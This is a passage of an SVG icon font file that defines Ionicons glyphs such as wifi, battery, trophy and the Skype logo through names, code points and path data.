d="M209 144c1 -1 3 -3 3 -4v-53s-62 41 -93 62l39 26c2 1 3 1 5 0c15 -10 31 -21 46 -31zM163 207c-1 -1 -3 -1 -4 0c-13 9 -26 17 -40 26c31 21 93 62 93 62v-51c0 -2 -2 -5 -3 -6c-15 -10 -31 -21 -46 -31zM238 239c-1 1 -2 2 -2 3v54l93 -63l-40 -26c-1 -1 -3 -1 -4 0
c-16 11 -31 21 -47 32zM226 218c6 -4 40 -27 40 -27l-39 -26c-2 -1 -4 -1 -6 0l-39 26s17 11 25 17c5 3 9 6 14 9c1 1 4 2 5 1zM109 211l30 -20l-30 -20v40zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM363 151v81
c0 6 -2 9 -7 12c-41 27 -83 55 -124 82c-6 4 -11 4 -17 0c-41 -27 -81 -54 -122 -81c-5 -3 -8 -8 -8 -14v-80c0 -6 3 -10 8 -13c41 -27 81 -55 122 -82c6 -4 11 -4 17 0c41 27 82 55 123 82c5 3 8 7 8 13zM284 175c2 2 5 2 7 0l38 -26l-93 -62v51c0 3 1 4 3 6
c15 10 30 21 45 31zM338 171l-30 20l30 20v-40z" />
    <glyph glyph-name="ion-md-battery-dead" unicode="&#xf295;" horiz-adv-x="224" 
d="M194 371c16 0 30 -14 30 -30v-343c0 -16 -13 -30 -30 -30h-164c-16 0 -30 13 -30 30v343c0 16 14 30 30 30h37v45h90v-45h37zM176 16v307h-128v-307h128z" />
    <glyph glyph-name="ion-md-wifi" unicode="&#xf3a8;" 
d="M208 219c23 0 42 -18 42 -41s-19 -41 -42 -41s-42 18 -42 41s19 41 42 41zM333 178c0 -45 -26 -85 -63 -107l-20 36c25 14 41 40 41 71c0 45 -37 82 -83 82s-83 -37 -83 -82c0 -31 16 -57 41 -71l-20 -36c-37 22 -63 62 -63 107c0 68 56 124 125 124s125 -56 125 -124z
M208 384c114 0 208 -93 208 -206c0 -76 -42 -142 -104 -178l-21 36c50 28 83 81 83 142c0 91 -74 165 -166 165s-166 -74 -166 -165c0 -61 33 -113 83 -142l-21 -36c-62 36 -104 102 -104 178c0 113 94 206 208 206z" />
    <glyph glyph-name="ion-ios-brush" unicode="&#xf132;" horiz-adv-x="448" 
d="M118 165c52 0 102 -42 90 -102c-11 -52 -54 -71 -90 -77c-6 -1 -14 -2 -22 -2c-32 0 -78 8 -95 33c-1 2 -1 5 1 6c20 9 32 26 32 47c0 49 32 95 84 95zM436 388c13 -13 17 -30 5 -45l-145 -165c-5 -6 -8 -12 -8 -20v-1c0 -5 -2 -11 -6 -15l-45 -52c-2 -2 -6 -3 -8 -1
c-1 1 -2 3 -2 5c0 50 -41 82 -87 86c-2 0 -4 2 -5 4v0c-1 2 0 5 2 7l53 43c4 4 10 6 16 6v0v0c7 0 15 3 20 8l165 145c6 5 13 7 19 7c9 0 18 -4 26 -12z" />
    <glyph glyph-name="ion-ios-checkmark" unicode="&#xf3ff;" horiz-adv-x="215" 
d="M214 255c2 -2 1 -4 0 -6l-133 -134h-1c-2 -2 -6 -5 -11 -5c-4 0 -8 1 -12 5l-56 56c-2 2 -2 4 0 6l18 18c1 1 2 1 3 1s2 0 3 -1l44 -45l122 123c1 1 2 1 3 1v0c1 0 2 0 3 -1z" />
    <glyph glyph-name="ion-ios-body" unicode="&#xf3e4;" horiz-adv-x="384" 
d="M144 368c0 27 21 48 48 48s48 -21 48 -48s-21 -48 -48 -48s-48 21 -48 48zM360 304c13 0 24 -11 24 -24s-11 -24 -24 -24h-98c-6 -1 -14 -4 -18 -14c-5 -12 -2 -34 1 -52l4 -21v-1v0l30 -172c2 -13 -6 -26 -19 -28s-26 7 -28 20l-21 120v0s-6 32 -18 32h-1
c-12 0 -19 -32 -19 -32v0l-21 -120c-2 -13 -15 -22 -28 -20s-21 15 -19 28l30 172v0v1l4 21c3 18 6 40 1 52c-4 10 -12 13 -18 14h-98c-13 0 -24 11 -24 24s11 24 24 24h336z" />
    <glyph glyph-name="ion-ios-crop" unicode="&#xf41e;" horiz-adv-x="384" 
d="M78 384c8 0 14 -6 14 -14v-20c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v20c0 8 6 14 14 14v0zM92 106c0 -8 6 -14 14 -14h152c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-166c-16 0 -28 12 -28 28v166c0 8 6 14 14 14v0c8 0 14 -6 14 -14v-152zM370 92c8 0 14 -6 14 -14
v0c0 -8 -6 -14 -14 -14h-20c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h20zM0 306c0 8 6 14 14 14h278c16 0 28 -12 28 -28v-278c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v264c0 8 -6 14 -14 14h-264c-8 0 -14 6 -14 14v0z" />
    <glyph glyph-name="ion-md-radio" unicode="&#xf362;" 
d="M26 306l263 110l14 -35l-172 -72h243c23 0 42 -18 42 -42v-256c0 -24 -19 -43 -42 -43h-332c-23 0 -42 19 -42 43v256c0 18 11 33 26 39zM112 10c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64zM368 181v86h-320v-86h243v47h45v-47h32z" />
    <glyph glyph-name="ion-ios-appstore" unicode="&#xf10c;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM129 103l18 30c-2 6 -10 12 -20 12h-2c-3 0 -5 -2 -7 -4l-14 -23c-4 -7 -2 -16 5 -20c2 -1 6 -2 8 -2c5 0 9 2 12 7zM249 150c0 0 1 1 1 4c0 5 -1 9 -4 14l-1 1c-3 6 -11 9 -18 9
h-54v0l37 62l16 28l18 30c4 7 2 16 -5 20s-16 2 -20 -5l-9 -16v0l-10 16c-4 7 -13 9 -20 5s-8 -13 -4 -20l17 -30v0l-53 -90v0h-45c-8 0 -15 -6 -15 -14s6 -15 14 -15h29h33zM322 149c8 0 14 7 14 15s-7 14 -15 14h-41v0l-49 82s-4 -1 -8 -9c-6 -11 -5 -25 1 -36l22 -37
l17 -29l27 -46c3 -4 7 -7 12 -7c3 0 6 1 8 2c7 4 9 13 5 20l-19 31v0h26z" />
    <glyph glyph-name="ion-ios-build" unicode="&#xf136;" 
d="M393 317c4 3 9 3 12 -1c8 -12 12 -24 11 -34c-1 -12 -6 -36 -30 -60c-17 -17 -45 -30 -72 -30c-11 0 -22 3 -32 8c-2 1 -6 2 -9 2s-7 -1 -11 -5c-9 -9 -188 -200 -188 -200c-8 -9 -19 -13 -30 -13s-23 5 -31 13c-17 17 -18 45 0 61c0 0 192 181 200 188c7 7 4 15 2 20
c-19 44 3 83 23 104c21 22 48 29 60 30h2c10 0 22 -4 32 -11c4 -3 5 -8 1 -12l-45 -45c-1 -1 -1 -2 -1 -3l8 -47c0 -2 1 -3 3 -3l47 -8c1 0 2 0 3 1zM55 19c5 5 5 14 0 20c-6 5 -14 5 -20 0c-5 -6 -5 -14 0 -20c6 -5 14 -5 20 0z" />
    <glyph glyph-name="ion-ios-cellular" unicode="&#xf13d;" 
d="M360 396c36 -34 56 -78 56 -126v0v0v0c0 -48 -20 -93 -56 -127c-3 -2 -5 -3 -9 -3s-7 2 -10 4c-3 3 -4 5 -4 9s1 8 4 10c30 29 47 67 47 107v0c0 41 -17 79 -47 107c-3 3 -4 5 -4 9s1 7 4 10c3 2 6 4 10 4s6 -2 9 -4zM303 351c23 -22 35 -50 35 -81v0v0v0
c0 -31 -12 -59 -35 -81c-2 -2 -6 -4 -9 -4s-7 1 -9 3s-4 6 -4 9s2 7 4 9c18 17 28 40 28 64v0c0 24 -10 47 -28 64c-2 2 -4 6 -4 9s2 6 4 8s6 4 9 4s7 -2 9 -4zM75 377c-30 -28 -47 -66 -47 -107v0c0 -41 17 -79 47 -107c3 -3 4 -6 4 -10s-1 -6 -4 -9c-3 -2 -6 -4 -10 -4
s-6 1 -9 3c-36 34 -56 79 -56 127v0v0c0 48 20 92 56 126c3 2 5 4 9 4v0c4 0 7 -2 10 -4c3 -3 4 -6 4 -10s-1 -7 -4 -9zM131 334c-18 -17 -28 -40 -28 -64v0c0 -24 10 -47 28 -64c2 -2 4 -6 4 -9s-2 -7 -4 -9s-6 -3 -9 -3s-7 2 -9 4c-23 22 -35 50 -35 81v0v0
c0 31 12 59 35 81c2 2 6 4 9 4s7 -2 9 -4s4 -5 4 -8s-2 -7 -4 -9zM208 325c26 0 48 -22 48 -48c0 -22 -14 -40 -34 -46v-233c0 -8 -6 -14 -14 -14s-14 6 -14 14v233c-20 6 -34 24 -34 46c0 26 22 48 48 48z" />
    <glyph glyph-name="ion-ios-trophy" unicode="&#xf25d;" 
d="M402 348c8 0 14 -6 14 -14v0c0 -41 -7 -66 -22 -90c-14 -22 -34 -37 -57 -41c-3 0 -5 -2 -6 -5c-6 -15 -20 -35 -51 -52c-20 -11 -37 -19 -52 -22c-4 -1 -6 -3 -6 -7v-81c0 -4 4 -8 8 -8h66c8 0 14 -7 14 -15s-6 -13 -14 -13h-80h-16h-80c-8 0 -14 7 -14 15s6 13 14 13
h66c4 0 8 4 8 8v81c0 4 -2 7 -6 8c-15 3 -32 10 -52 21c-31 17 -45 37 -51 52c-1 3 -3 5 -6 5c-23 4 -42 19 -56 41c-15 24 -23 49 -23 90v0c0 8 6 14 14 14h66v20c0 9 7 16 16 16h224c9 0 16 -7 16 -16v-20h66zM80 237v75c0 4 -4 8 -8 8h-35c-5 0 -8 -4 -8 -9
c2 -27 9 -38 15 -49c7 -14 18 -23 31 -28c3 -1 5 0 5 3zM372 262c6 11 13 22 15 49c0 5 -3 9 -8 9h-35c-4 0 -8 -4 -8 -8v-75c0 -3 2 -4 5 -3c13 5 24 14 31 28z" />
    <glyph glyph-name="ion-ios-git-network" unicode="&#xf187;" horiz-adv-x="384" 
d="M313 416c39 0 71 -32 71 -71c0 -34 -24 -62 -56 -69v-57c0 -3 -2 -6 -4 -7l-117 -60v-44c15 -3 28 -11 38 -23c11 -13 18 -29 18 -46c0 -39 -32 -71 -71 -71s-71 32 -71 71c0 34 24 62 56 69v44l-117 60c-2 1 -4 4 -4 7v57c-15 3 -28 11 -38 23c-11 13 -18 29 -18 46
c0 39 32 71 71 71s70 -32 70 -71c0 -34 -23 -62 -55 -69v-43l106 -55l106 55v43c-15 3 -28 11 -38 23c-11 13 -17 29 -17 46c0 39 31 71 70 71zM30 345c0 -22 19 -41 41 -41s40 19 40 41s-18 41 -40 41s-41 -19 -41 -41zM233 39c0 22 -19 41 -41 41s-41 -19 -41 -41
s19 -41 41 -41s41 19 41 41zM313 304c22 0 41 19 41 41s-19 41 -41 41s-40 -19 -40 -41s18 -41 40 -41z" />
    <glyph glyph-name="ion-md-warning" unicode="&#xf3a5;" horiz-adv-x="448" 
d="M0 -16l224 416l224 -416h-448zM248 48v48h-48v-48h48zM248 128v96h-48v-96h48z" />
    <glyph glyph-name="ion-md-thumbs-up" unicode="&#xf392;" 
d="M150 0c-21 0 -38 17 -38 38v192c0 11 4 20 11 27l126 127l20 -20c5 -5 9 -12 9 -20l-1 -6l-18 -82h119c21 0 38 -24 38 -45v-38c0 -5 -1 -10 -3 -14l-57 -136c-6 -14 -18 -23 -34 -23h-172zM0 0v224h64v-224h-64z" />
    <glyph glyph-name="ion-ios-megaphone" unicode="&#xf1c1;" 
d="M42 261c0 -27 14 -54 34 -72c3 -3 0 -8 -4 -7v0c-27 9 -54 30 -61 64c-6 0 -11 7 -11 15s4 14 10 15c6 39 36 70 74 70v0c3 0 5 -4 2 -6c-26 -16 -44 -46 -44 -79zM402 345c9 -23 14 -52 14 -82s-5 -58 -14 -81c-1 -3 -2 -5 -3 -8c-6 -13 -12 -24 -21 -33
c-16 -16 -29 -18 -35 -18s-11 2 -20 5c-38 14 -64 32 -112 32c-26 0 -16 -97 -16 -132s4 -44 -14 -44s-61 16 -68 24s-6 18 -4 36s23 102 25 115s-9 12 -21 22c-27 16 -44 46 -44 80c0 38 22 71 54 85c0 0 -2 0 40 0s111 20 154 46c4 3 12 8 26 8c13 0 24 -5 34 -15
c8 -8 16 -19 22 -32c1 -2 2 -5 3 -8zM376 188c8 18 14 45 14 75s-6 57 -14 75c-6 16 -18 25 -27 25s-18 -9 -24 -25c-8 -18 -13 -45 -13 -75s5 -57 13 -75c6 -16 15 -28 24 -28s21 12 27 28z" />
    <glyph glyph-name="ion-md-flash" unicode="&#xf2f1;" horiz-adv-x="192" 
d="M0 400h192l-64 -160h64l-128 -256v192h-64v224z" />
    <glyph glyph-name="ion-md-expand" unicode="&#xf2e7;" horiz-adv-x="384" 
d="M333 51v77h51v-128h-128v51h77zM333 333h-77v51h128v-128h-51v77zM51 333v-77h-51v128h128v-51h-77zM51 51h77v-51h-128v128h51v-77z" />
    <glyph glyph-name="ion-md-train" unicode="&#xf396;" horiz-adv-x="352" 
d="M176 400c97 0 176 -11 176 -88v-208c0 -42 -35 -76 -77 -76l33 -33v-11h-44l-44 44h-83l-44 -44h-49v11l33 33c-42 0 -77 34 -77 76v208c0 77 88 88 176 88zM77 72c18 0 33 14 33 32s-15 33 -33 33s-33 -15 -33 -33s15 -32 33 -32zM154 225v87h-110v-87h110zM198 225h110
v87h-110v-87zM275 72c18 0 33 14 33 32s-15 33 -33 33s-33 -15 -33 -33s15 -32 33 -32z" />
    <glyph glyph-name="ion-md-boat" unicode="&#xf29b;" horiz-adv-x="448" 
d="M52 35l-51 139c-2 6 -1 12 1 17s8 8 13 10l38 13v98c0 23 20 43 43 43h64l16 53h96l16 -53h64c23 0 43 -20 43 -43v-98l38 -13c5 -2 11 -5 13 -10s3 -12 1 -17l-51 -139h-1c-34 0 -65 20 -86 43c-21 -23 -51 -43 -85 -43s-64 19 -85 42c-21 -23 -52 -42 -86 -42h-1z
M96 312v-84l128 41l128 -41v84h-256zM309 40c0 0 59 -64 107 -64h-21c-30 0 -59 12 -86 26c-53 -28 -117 -28 -170 0c-27 -14 -56 -26 -86 -26h-21c49 0 107 64 107 64c52 -36 118 -36 170 0z" />
    <glyph glyph-name="ion-md-planet" unicode="&#xf356;" horiz-adv-x="448" 
d="M104 297c15 18 32 31 53 41c32 15 69 19 106 10c83 -21 135 -103 119 -186c-1 -3 -1 -7 -2 -10c-5 -20 -11 -37 -23 -53c-2 -3 -6 -6 -8 -9c-6 3 -11 6 -17 9c-35 20 -73 46 -111 75c-48 37 -93 78 -125 114c2 3 6 6 8 9zM386 121c47 -49 70 -82 59 -100
c-6 -10 -23 -11 -47 -5c-25 6 -58 17 -96 35c-34 -19 -76 -25 -117 -15c-86 22 -139 109 -117 195c-51 60 -77 112 -65 132c6 10 24 12 47 3c21 -8 43 -20 66 -35c-10 -7 -14 -11 -14 -11c-23 14 -43 19 -58 23c-2 0 -9 2 -7 -4c2 -4 3 -7 5 -11c8 -14 21 -30 36 -48
c33 -38 79 -80 130 -120c38 -30 78 -56 114 -76c33 -19 63 -33 84 -38c2 -1 4 -1 6 -1c6 -1 1 8 -1 12c-7 12 -14 26 -32 47c0 0 3 6 7 17z" />
    <glyph glyph-name="ion-ios-keypad" unicode="&#xf450;" horiz-adv-x="384" 
d="M331 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-54 23 -54 53s24 54 54 54zM192 107c30 0 53 -24 53 -54s-23 -53 -53 -53s-53 23 -53 53s23 54 53 54zM53 107c30 0 54 -24 54 -54s-24 -53 -54 -53s-53 23 -53 53s23 54 53 54zM331 245c30 0 53 -23 53 -53
s-23 -53 -53 -53s-54 23 -54 53s24 53 54 53zM192 245c30 0 53 -23 53 -53s-23 -53 -53 -53s-53 23 -53 53s23 53 53 53zM53 245c30 0 54 -23 54 -53s-24 -53 -54 -53s-53 23 -53 53s23 53 53 53zM331 384c30 0 53 -23 53 -53s-23 -54 -53 -54s-54 24 -54 54s24 53 54 53z
M192 384c30 0 53 -23 53 -53s-23 -54 -53 -54s-53 24 -53 54s23 53 53 53zM53 384c30 0 54 -23 54 -53s-24 -54 -54 -54s-53 24 -53 54s23 53 53 53z" />
    <glyph glyph-name="ion-md-contrast" unicode="&#xf2d9;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM321 79c30 30 47 70 47 113s-17 83 -47 113s-70 47 -113 47v-320c43 0 83 17 113 47z" />
    <glyph glyph-name="ion-md-save" unicode="&#xf1a9;" horiz-adv-x="384" 
d="M299 384l85 -85v-256c0 -24 -19 -43 -43 -43h-298c-24 0 -43 19 -43 43v298c0 24 19 43 43 43h256zM192 43c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64zM256 256v85h-213v-85h213z" />
    <glyph glyph-name="ion-md-football" unicode="&#xf2f6;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM79 210l-44 -38c3 -27 12 -53 27 -76h58l15 29l-17 67zM296 96h57c15 23 25 49 28 76l-44 38l-39 -18l-17 -67zM329 242l19 54c-19 26 -46 46 -76 58l-48 -33v-47l61 -52zM143 354
c-30 -12 -56 -32 -75 -58l19 -54l43 -20l61 52v47zM170 22c11 -2 23 -4 35 -4c13 0 29 2 41 4c1 0 2 1 3 1l19 54l-15 30h-90l-15 -29l20 -56h2z" />
    <glyph glyph-name="ion-md-star-half" unicode="&#xf382;" horiz-adv-x="404" 
d="M404 238l-110 -96l33 -142l-125 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134zM219 103l60 -36l-16 68l-5 19l15 12l53 46l-70 6l-19 2l-8 18l-27 64v-189z" />
    <glyph glyph-name="ion-logo-game-controller-b" unicode="&#xf181;" horiz-adv-x="448" 
d="M103 243c11 0 19 -8 19 -19s-8 -19 -19 -19s-19 8 -19 19s8 19 19 19zM434 199c21 -88 18 -152 -7 -164c-4 -2 -9 -3 -13 -3c-22 0 -45 24 -67 52c-26 32 -33 33 -111 33h-24c-78 0 -84 -1 -110 -33c-23 -28 -46 -52 -68 -52c-4 0 -9 1 -13 3c-25 12 -28 76 -7 164
s43 136 88 149c10 3 18 4 26 4c28 0 47 -15 96 -15s68 15 96 15c8 0 16 -1 26 -4c45 -13 67 -61 88 -149zM103 184c22 0 39 18 39 40s-17 40 -39 40s-39 -18 -39 -40s17 -40 39 -40zM276 204c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM320 160
c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM320 248c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20zM364 204c11 0 20 9 20 20s-9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20z" />
    <glyph glyph-name="ion-ios-woman" unicode="&#xf271;" horiz-adv-x="256" 
d="M158 -48c-6 0 -12 3 -16 7c-3 3 -7 8 -7 18v120h-14v-120c0 -10 -4 -16 -7 -19c-4 -4 -10 -6 -16 -6s-13 2 -17 6c-3 3 -7 9 -7 19v120h-44l44 170h-6l-25 -90c-4 -13 -13 -18 -21 -18v0c-7 0 -13 3 -17 9c-5 6 -6 15 -4 24l29 104c4 15 21 38 49 39v0h98
c28 -1 45 -26 49 -39v0l29 -105c2 -9 1 -18 -4 -24c-4 -5 -11 -8 -17 -8c-8 0 -17 5 -21 18v0l-24 90h-8l45 -170h-45v-120c0 -10 -4 -15 -7 -18c-4 -4 -10 -7 -16 -7zM128 342c-24 0 -44 20 -44 45s20 45 44 45s44 -20 44 -45s-20 -45 -44 -45z" />
    <glyph glyph-name="ion-logo-yen" unicode="&#xf34e;" horiz-adv-x="384" 
d="M384 416l-112 -208h48v-48h-73l-15 -31v-17h88v-48h-88v-96h-80v96h-88v48h88v17l-14 31h-74v48h48l-112 208h80l112 -221l112 221h80z" />
    <glyph glyph-name="ion-ios-phone-portrait" unicode="&#xf1e3;" horiz-adv-x="224" 
d="M192 416c18 0 32 -15 32 -33v-381c0 -18 -14 -34 -32 -34h-159c-18 0 -33 16 -33 34v381c0 18 15 33 33 33h159zM97 393c-2 0 -4 -2 -4 -4s2 -4 4 -4h30c2 0 4 2 4 4s-2 4 -4 4h-30zM112 -17c10 0 18 7 18 17s-8 18 -18 18s-17 -8 -17 -18s7 -17 17 -17zM206 32
c1 0 2 1 2 2v329c0 1 -1 2 -2 2h-188c-1 0 -2 -1 -2 -2v-329c0 -1 1 -2 2 -2h188z" />
    <glyph glyph-name="ion-md-jet" unicode="&#xf315;" horiz-adv-x="448" 
d="M448 416c0 0 1 -24 -27 -60c-13 -17 -128 -175 -128 -175l4 -169l-39 -44l-55 110l-11 -9v-88l-41 -7l-48 63l-60 -26l26 60l-63 48l7 41h88l9 11l-110 55l44 39l169 -4s159 115 176 128c36 28 59 27 59 27z" />
    <glyph glyph-name="ion-ios-cloud-done" unicode="&#xf154;" horiz-adv-x="512" 
d="M437 218c43 -8 75 -47 75 -92c0 -50 -41 -94 -91 -94h-330c-50 0 -91 44 -91 94c0 41 26 80 66 93c1 39 33 74 72 74c10 0 19 -3 27 -6c27 39 72 65 123 65c77 0 141 -59 149 -134zM362 236c2 2 2 3 0 5l-17 18c-1 1 -2 2 -3 2v0c-1 0 -2 -1 -3 -2l-122 -123l-44 45
c-1 1 -2 1 -3 1s-2 0 -3 -1l-18 -18c-2 -2 -2 -4 0 -6l56 -56c4 -4 8 -5 12 -5c5 0 10 3 12 5v0z" />
    <glyph glyph-name="ion-md-pricetag" unicode="&#xf35a;" horiz-adv-x="384" 
d="M352 384l32 -32v-160l-188 -179c-9 -9 -23 -13 -31 -13s-21 5 -29 13l-123 123c-9 9 -13 20 -13 31c0 10 5 21 13 29l181 188h158zM321 281c10 3 19 12 22 22c6 22 -10 41 -31 41c-18 0 -32 -14 -32 -32c0 -21 19 -37 41 -31z" />
    <glyph glyph-name="ion-md-text" unicode="&#xf38f;" horiz-adv-x="384" 
d="M344 384c22 0 40 -18 40 -40v-240c0 -22 -18 -40 -40 -40h-280l-64 -64v344c0 22 10 40 32 40h312zM134 206v40h-38v-40h38zM211 206v40h-38v-40h38zM288 206v40h-38v-40h38z" />
    <glyph glyph-name="ion-ios-paw" unicode="&#xf47a;" 
d="M276 368c23 -3 38 -36 33 -73c-5 -34 -26 -60 -48 -60h-4c-23 3 -37 36 -32 73c5 34 25 60 47 60h1v0v0v0h3zM273 368v0v0zM394 279c22 -9 29 -45 15 -79c-12 -29 -34 -47 -54 -47c-4 0 -7 1 -11 2c-22 9 -28 44 -14 78c12 29 33 48 53 48v0v0v0c4 0 7 -1 11 -2zM280 153
c24 -37 71 -40 83 -72c2 -6 4 -13 4 -19c0 -26 -20 -46 -46 -46c-32 0 -75 24 -113 24s-81 -24 -113 -24c-26 0 -46 20 -46 46c0 6 1 13 3 19c12 32 60 35 84 72c28 44 40 60 72 60s44 -16 72 -60zM155 235c-22 0 -43 26 -48 60c-5 37 10 70 33 73h4c22 0 43 -26 48 -60
c5 -37 -10 -70 -33 -73h-4zM72 155c-4 -1 -7 -2 -11 -2c-20 0 -42 18 -54 47c-14 34 -7 70 15 79c4 1 7 2 11 2c20 0 42 -19 54 -48c14 -34 7 -69 -15 -78z" />
    <glyph glyph-name="ion-md-heart-half" unicode="&#xf1a2;" 
d="M302 384c64 0 114 -50 114 -115c0 -80 -71 -144 -178 -242l-30 -27l-30 27c-107 98 -178 162 -178 242c0 65 50 115 114 115c36 0 71 -17 94 -44c23 27 58 44 94 44zM208 42c50 46 107 99 136 135c28 35 40 63 40 92c0 23 -9 44 -24 59s-35 24 -58 24
c-26 0 -53 -13 -70 -33l-24 -29v-248z" />
    <glyph glyph-name="ion-ios-images" unicode="&#xf19e;" horiz-adv-x="448" 
d="M230 249l70 -136c2 -3 -1 -7 -5 -7l-161 14c-4 0 -5 4 -3 7l92 123c2 2 5 2 7 -1zM335 184l46 -78c2 -3 -1 -8 -5 -8l-45 4c-2 0 -2 2 -3 3l-26 49c-1 2 0 4 1 6l25 25c2 2 5 2 7 -1zM346 224c-15 0 -27 13 -24 28c2 11 12 19 23 19c15 0 27 -13 24 -28
c-2 -11 -12 -19 -23 -19zM423 319c15 -1 26 -15 25 -30l-26 -296c-1 -15 -14 -26 -29 -25l-298 26c-15 1 -25 14 -24 29l1 17l-16 -1c-15 -1 -28 9 -29 24l-27 297c-1 15 10 28 25 29l297 27c15 1 28 -10 29 -25l6 -67zM56 147l26 3l15 170c1 15 14 26 29 25l202 -18l-5 53
c0 4 -3 6 -7 6l-280 -25c-4 0 -6 -4 -6 -8l18 -200c0 -4 4 -6 8 -6zM418 283c0 4 -2 7 -6 7l-52 5l-30 2l-198 17c-4 0 -7 -2 -7 -6l-14 -156l-3 -44c0 -4 2 -7 6 -7l260 -23l19 -1c4 0 7 2 7 6z" />
    <glyph glyph-name="ion-md-arrow-back" unicode="&#xf27d;" horiz-adv-x="342" 
d="M342 213v-42h-260l119 -120l-30 -30l-171 171l171 171l31 -30l-120 -120h260z" />
    <glyph glyph-name="ion-md-finger-print" unicode="&#xf2ee;" horiz-adv-x="384" 
d="M14 242c-2 0 -5 1 -7 2c-7 4 -9 12 -5 19c18 30 72 101 190 101c51 0 96 -14 133 -41c31 -22 49 -47 57 -59c4 -6 2 -15 -4 -19s-16 -3 -20 3c-15 22 -60 88 -166 88c-104 0 -151 -61 -166 -87c-3 -5 -7 -7 -12 -7zM252 -32h-4c-86 22 -118 108 -119 112v1
c-1 2 -18 62 8 97c12 16 31 24 55 24c23 0 39 -7 50 -22c9 -12 13 -27 17 -41c8 -30 13 -45 44 -47c14 -1 23 7 28 14c14 19 15 50 5 77c-13 35 -60 101 -144 101c-36 0 -69 -12 -95 -34c-22 -18 -39 -44 -47 -70c-15 -49 5 -125 5 -126c2 -7 -2 -15 -10 -17s-15 3 -17 10
c-1 4 -23 86 -5 142c19 61 79 122 169 122c42 0 81 -14 114 -41c25 -21 46 -49 57 -77c14 -36 10 -77 -10 -103c-13 -18 -32 -27 -52 -26c-53 3 -63 40 -70 68s-11 42 -39 42c-15 0 -25 -4 -32 -13c-9 -12 -10 -30 -9 -44s4 -26 5 -28c2 -6 31 -77 99 -94
c8 -2 12 -10 10 -17c-2 -6 -7 -10 -13 -10zM142 -26c-4 0 -8 2 -11 5c-34 36 -54 77 -61 128v0c-4 34 3 81 32 114c22 24 52 37 90 37c45 0 81 -22 103 -62c16 -29 19 -58 19 -59c1 -8 -4 -14 -12 -15s-15 4 -16 12v0s-2 26 -16 50c-17 31 -43 46 -78 46
c-30 0 -54 -9 -70 -27c-23 -26 -27 -66 -24 -92c6 -45 24 -81 54 -113c5 -6 5 -15 -1 -20c-3 -2 -6 -4 -9 -4zM300 14c-30 0 -56 9 -76 26c-41 33 -46 88 -46 90c-1 8 5 14 13 15s14 -5 15 -13c0 -1 4 -45 36 -71c19 -15 43 -22 74 -18c8 1 15 -4 16 -12s-5 -14 -13 -15
c-7 -1 -13 -2 -19 -2zM323 385c5 -2 9 -7 9 -13c0 -8 -6 -13 -14 -13c-3 0 -7 0 -9 2v0v0s-36 27 -117 27s-117 -27 -117 -27v0v0c-2 -2 -5 -2 -8 -2c-8 0 -14 5 -14 13c0 4 1 8 4 11v0h1s0 1 1 1c9 6 51 32 133 32c78 0 119 -23 131 -31z" />
    <glyph glyph-name="ion-md-refresh" unicode="&#xf366;" horiz-adv-x="352" 
d="M176 60c56 0 104 34 123 84h46c-21 -74 -88 -128 -169 -128c-98 0 -176 79 -176 176s79 176 176 176c48 0 92 -20 124 -52l52 52v-154h-154l70 70c-23 24 -56 40 -92 40c-73 0 -132 -59 -132 -132s59 -132 132 -132z" />
    <glyph glyph-name="ion-ios-undo" unicode="&#xf4c7;" horiz-adv-x="448" 
d="M448 53v-37h-3c-2 0 -3 1 -4 3c-2 6 -8 20 -21 40c-22 33 -59 67 -95 83c-28 12 -53 21 -97 23c-2 0 -4 -2 -4 -4v-81c0 -3 -3 -6 -6 -4l-216 142c-2 2 -2 5 0 7l216 142c3 2 6 0 6 -3v-83c0 -2 2 -4 4 -4c72 -4 123 -24 163 -65c61 -62 57 -139 57 -159z" />
    <glyph glyph-name="ion-md-arrow-dropup-circle" unicode="&#xf285;" 
d="M416 192c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208s208 -93 208 -208zM304 160l-96 96l-96 -96h192z" />
    <glyph glyph-name="ion-logo-skype" unicode="&#xf24a;" horiz-adv-x="384" 
d="M373 151c7 -14 11 -29 11 -46c0 -58 -47 -105 -106 -105c-18 0 -35 4 -50 12c-11 -2 -22 -3 -34 -3c-101 0 -183 81 -183 181c0 12 2 24 4 36c-9 16 -15 34 -15 53c0 58 47 105 106 105c21 0 41 -6 57 -16c10 2 20 2 31 2c101 0 183 -80 183 -180c0 -13 -1 -27 -4 -39z
M288 104c9 12 12 25 12 40c0 12 -2 23 -7 32s-12 16 -21 22s-19 10 -31 14s-26 7 -41 10c-12 3 -20 5 -25 6s-10 4 -15 6s-7 5 -10 8c-2 3 -4 6 -4 10c0 7 3 13 11 18s19 7 32 7c14 0 25 -2 31 -7s11 -12 16 -20c4 -7 8 -11 11 -14c4 -3 9 -5 16 -5c8 0 13 3 18 8s8 11 8 17
c0 7 -2 14 -6 21s-10 14 -18 20s-18 11 -30 15s-27 5 -43 5c-20 0 -38 -2 -53 -8c-16 -6 -28 -15 -36 -25c-8 -11 -12 -22 -12 -36s3 -26 11 -36s19 -17 32 -23c13 -5 29 -10 48 -14c14 -3 26 -5 34 -8c8 -2 14 -6 19 -11c5 -4 7 -10 7 -17c0 -9 -4 -17 -13 -23
